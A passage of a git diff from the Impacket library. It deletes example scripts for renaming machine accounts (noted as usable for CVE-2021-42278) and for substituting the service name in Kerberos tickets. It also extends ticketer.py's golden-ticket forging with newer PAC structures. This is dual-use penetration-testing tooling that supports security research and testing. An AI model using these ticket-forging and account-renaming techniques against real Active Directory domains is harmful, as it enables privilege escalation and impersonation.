is None: - serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, - sessionKey) - else: - tgs = TGS['KDC_REP'] - cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] - - # Let's build a NegTokenInit with a Kerberos REQ_AP - - blob = SPNEGO_NegTokenInit() - - # Kerberos - blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - - # Let's extract the ticket from the TGS - tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - # Now let's build the AP_REQ - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = [] - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = domain - seq_set(authenticator, 'cname', userName.components_to_asn1) - now = datetime.datetime.utcnow() - - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 11 - # AP-REQ Authenticator (includes application authenticator - # subkey), encrypted with the application session key - # (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - blob['MechToken'] = encoder.encode(apReq) - - request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', - blob.getData()) - - # Done with the Kerberos saga, now let's get into LDAP - if connection.closed: # try to open connection if closed - connection.open(read_server_info=False) - - connection.sasl_in_progress = True - response = connection.post_send_single_response(connection.send('bindRequest', request, None)) - connection.sasl_in_progress = False - if response[0]['result'] != 0: - raise Exception(response) - - connection.bound = True - - return True - -def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): - user = '%s\\%s' % (domain, username) - connect_to = target - if args.dc_ip is not None: - connect_to = args.dc_ip - if tls_version is not None: - use_ssl = True - port = 636 - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) - else: - use_ssl = False - port = 389 - tls = None - ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) - if args.k: - ldap_session = ldap3.Connection(ldap_server) - ldap_session.bind() - ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) - elif args.hashes is not None: - ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) - else: - ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) - - return ldap_server, ldap_session - - -def init_ldap_session(args, domain, username, password, lmhash, nthash): - if args.k: - target = get_machine_name(args, domain) - else: - if args.dc_ip is not None: - target = args.dc_ip - else: - target = domain - - if args.use_ldaps is True: - try: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) - except ldap3.core.exceptions.LDAPSocketOpenError: - return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) - else: - return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) - - -def parse_identity(args): - domain, username, password = utils.parse_credentials(args.identity) - - if domain == '': - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: - from getpass import getpass - logging.info("No credentials supplied, supply password") - password = getpass("Password:") - - if args.aesKey is not None: - args.k = True - - if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') - else: - lmhash = '' - nthash = '' - - return domain, username, password, lmhash, nthash - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)') - parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-current-name", type=str, required=True, help="sAMAccountName of the object to edit") - parser.add_argument("-new-name", type=str, required=True, help="New sAMAccountName to set for the target object") - parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", - help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - group = parser.add_argument_group('connection') - group.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' - 'omitted it will use the domain part (FQDN) specified in ' - 'the identity parameter') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - return parser.parse_args() - - -def get_user_info(samname, ldap_session, domain_dumper): - ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) - try: - dn = ldap_session.entries[0].entry_dn - return dn - except IndexError: - logging.error('Machine not found in LDAP: %s' % samname) - return False - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - domain, username, password, lmhash, nthash = parse_identity(args) - if len(nthash) > 0 and lmhash == "": - lmhash = "aad3b435b51404eeaad3b435b51404ee" - - ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) - operation = ldap3.MODIFY_REPLACE - attribute = 'sAMAccountName' - dn = get_user_info(args.current_name, ldap_session, domain_dumper) - - if not dn: - logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') - return - try: - logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name)) - cve_attempt = False - if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'): - cve_attempt = True - logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)') - ldap_session.modify(dn, {attribute: [operation, [args.new_name]]}) - if ldap_session.result['result'] == 0: - logging.info('Target object modified successfully!') - else: - error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16) - if error_code == 0x523 and cve_attempt: - logging.debug('The server returned an error: %s', ldap_session.result['message']) - # https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e - logging.error('Server probably patched against CVE-2021-42278') - elif ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message']) - elif ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', ldap_session.result['message']) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/tgssub.py b/examples/tgssub.py deleted file mode 100755 index 91b28a1b17..0000000000 --- a/examples/tgssub.py +++ /dev/null @@ -1,146 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python equivalent to Rubeus tgssub: Substitute an sname or SPN into an existing service ticket -# New value can be of many forms -# - (service class only) cifs -# - (service class with hostname) cifs/service -# - (service class with hostname and realm) cifs/service@DOMAIN.FQDN -# -# Authors: -# Charlie Bromberg (@_nwodtuhs) - -import logging -import sys -import traceback -import argparse - - -from impacket import version -from impacket.examples import logger -from impacket.krb5 import constants, types -from impacket.krb5.asn1 import TGS_REP, Ticket -from impacket.krb5.types import Principal -from impacket.krb5.ccache import CCache, CountedOctetString -from pyasn1.codec.der import decoder, encoder - -def substitute_sname(args): - ccache = CCache.loadFile(args.inticket) - cred_number = len(ccache.credentials) - logging.info('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - raise ValueError("More than one credentials in cache, this is not handled at the moment") - credential = ccache.credentials[0] - tgs = credential.toTGS() - decodedST = decoder.decode(tgs['KDC_REP'], asn1Spec=TGS_REP())[0] - tgs = ccache.credentials[0].toTGS() - sname = decodedST['ticket']['sname']['name-string'] - if len(decodedST['ticket']['sname']['name-string']) == 1: - logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") - logging.debug("Original sname is: %s" % sname[0]) - if '/' not in args.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class, service_hostname = ('', sname[0]) - service_realm = decodedST['ticket']['realm'] - elif len(decodedST['ticket']['sname']['name-string']) == 2: - service_class, service_hostname = decodedST['ticket']['sname']['name-string'] - service_realm = decodedST['ticket']['realm'] - else: - logging.debug("Original sname is: %s" % '/'.join(sname)) - raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") - if '@' in args.altservice: - new_service_realm = args.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in args.altservice: - new_service_hostname = args.altservice.split('@')[0].split('/')[1] - new_service_class = args.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) - new_service_hostname = service_hostname - new_service_class = args.altservice.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in args.altservice: - new_service_hostname = args.altservice.split('/')[1] - new_service_class = args.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) - new_service_hostname = service_hostname - new_service_class = args.altservice - if len(service_class) == 0: - current_service = "%s@%s" % (service_hostname, service_realm) - else: - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) - new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) - logging.info('Changing service from %s to %s' % (current_service, new_service)) - # the values are changed in the ticket - decodedST['ticket']['sname']['name-string'][0] = new_service_class - decodedST['ticket']['sname']['name-string'][1] = new_service_hostname - decodedST['ticket']['realm'] = new_service_realm - - ticket = encoder.encode(decodedST) - credential.ticket = CountedOctetString() - credential.ticket['data'] = encoder.encode(decodedST['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) - credential.ticket['length'] = len(credential.ticket['data']) - ccache.credentials[0] = credential - - # the values need to be changed in the ccache credentials - # we already checked everything above, we can simply do the second replacement here - ccache.credentials[0]['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) - logging.info('Saving ticket in %s' % args.outticket) - ccache.saveFile(args.outticket) - - -def parse_args(): - parser = argparse.ArgumentParser(add_help=True, description='Substitute an sname or SPN into an existing service ticket') - - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) - parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) - parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) - parser.add_argument('-force', action='store_true', help='Force the service substitution without taking the original into consideration') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(1) - - args = parser.parse_args() - return args - - -def init_logger(args): - # Init the example's logger theme and debug level - logger.init(args.ts) - if args.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - try: - substitute_sname(args) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - -if __name__ == '__main__': - main() diff --git a/examples/ticketer.py b/examples/ticketer.py index c7d8422fa9..1fa7df419a 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -59,7 +59,7 @@ from pyasn1.type.univ import noValue from impacket import version -from impacket.dcerpc.v5.dtypes import RPC_SID +from impacket.dcerpc.v5.dtypes import RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD @@ -73,7 +73,8 @@ from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ - VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ + PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS @@ -102,6 +103,14 @@ def getFileTime(t): t += 116444736000000000 return t + @staticmethod + def getPadLength(data_length): + return ((data_length + 7) // 8 * 8) - data_length + + @staticmethod + def getBlockLength(data_length): + return (data_length + 7) // 8 * 8 + def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain)) @@ -164,10 +173,15 @@ def createBasicValidationInfo(self): kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) - kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') + if len(groups) == 0: + # PrimaryGroupId must be set, default to 513 (Domain User) + kerbdata['PrimaryGroupId'] = 513 + else: + # Using first group as primary group + kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: @@ -232,8 +246,71 @@ def createBasicPac(self, kdcRep): clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + if self.__options.extra_pac: + self.createUpnDnsPac(pacInfos) + + if self.__options.old_pac is False: + self.createAttributesInfoPac(pacInfos) + self.createRequestorInfoPac(pacInfos) + return pacInfos + def createUpnDnsPac(self, pacInfos): + upnDnsInfo = UPN_DNS_INFO_FULL() + + PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) + upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") + upnDnsInfo['UpnLength'] = len(upn_data) + upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) + total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] + pad = self.getPadLength(total_len) + upn_data += b'\x00' * pad + + dns_name = self.__domain.upper().encode("utf-16-le") + upnDnsInfo['DnsDomainNameLength'] = len(dns_name) + upnDnsInfo['DnsDomainNameOffset'] = total_len + pad + total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] + pad = self.getPadLength(total_len) + dns_name += b'\x00' * pad + + # Enable additional data mode (Sam + SID) + upnDnsInfo['Flags'] = 2 + + samName = self.__target.encode("utf-16-le") + upnDnsInfo['SamNameLength'] = len(samName) + upnDnsInfo['SamNameOffset'] = total_len + pad + total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] + pad = self.getPadLength(total_len) + samName += b'\x00' * pad + + user_sid = SID() + user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + upnDnsInfo['SidLength'] = len(user_sid) + upnDnsInfo['SidOffset'] = total_len + pad + total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] + pad = self.getPadLength(total_len) + user_data = user_sid.getData() + b'\x00' * pad + + # Post-PAC data + post_pac_data = upn_data + dns_name + samName + user_data + # Pac data building + pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data + + @staticmethod + def createAttributesInfoPac(pacInfos): + pacAttributes = PAC_ATTRIBUTE_INFO() + pacAttributes["FlagsLength"] = 2 + pacAttributes["Flags"] = 1 + + pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() + + def createRequestorInfoPac(self, pacInfos): + pacRequestor = PAC_REQUESTOR() + pacRequestor['UserSid'] = SID() + pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + + pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData() + def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: @@ -376,7 +453,7 @@ def customizeTicket(self, kdcRep, pacInfos): flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) - if self.__domain == self.__server: + if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) @@ -403,7 +480,7 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit - ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue @@ -473,7 +550,7 @@ def customizeTicket(self, kdcRep, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() - print ('\n') + print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') @@ -553,58 +630,120 @@ def customizeTicket(self, kdcRep, pacInfos): def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') + # Basic PAC count + pac_count = 4 + # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] - validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) + validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) + pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) + + pacUpnDnsInfoBlob = None + pacUpnDnsInfoAlignment = None + if PAC_UPN_DNS_INFO in pacInfos: + pac_count += 1 + pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] + pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) + + pacAttributesInfoBlob = None + pacAttributesInfoAlignment = None + if PAC_ATTRIBUTES_INFO in pacInfos: + pac_count += 1 + pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] + pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) + + pacRequestorInfoBlob = None + pacRequestorInfoAlignment = None + if PAC_REQUESTOR_INFO in pacInfos: + pac_count += 1 + pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] + pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] - serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) + serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] - privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) + privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 + offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData - offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData - offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) + + pacUpnDnsInfoIB = None + if pacUpnDnsInfoBlob is not None: + pacUpnDnsInfoIB = PAC_INFO_BUFFER() + pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO + pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) + pacUpnDnsInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) + + pacAttributesInfoIB = None + if pacAttributesInfoBlob is not None: + pacAttributesInfoIB = PAC_INFO_BUFFER() + pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO + pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) + pacAttributesInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) + + pacRequestorInfoIB = None + if pacRequestorInfoBlob is not None: + pacRequestorInfoIB = PAC_INFO_BUFFER() + pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO + pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) + pacRequestorInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData - offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData - # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 + # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) # Building the PAC_TYPE as specified in [MS-PAC] - buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ - privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ - pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoIB.getData() + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoIB.getData() + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoIB.getData() + + buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ + validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment + buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() - pacType['cBuffers'] = 4 + pacType['cBuffers'] = pac_count pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail @@ -649,7 +788,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) - print ('\n') + print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) @@ -701,7 +840,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) - print ('\n') + print('\n') return encoder.encode(kdcRep), cipher, sessionKey @@ -745,8 +884,11 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)') + parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude ' + 'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f85..555da6bb68 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -12,10 +12,11 @@ # Author: # Alberto Solino (@agsolino) # -from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -30,6 +31,8 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 +PAC_ATTRIBUTES_INFO = 17 +PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -198,12 +201,27 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): + structure = ( + ('UpnLength', '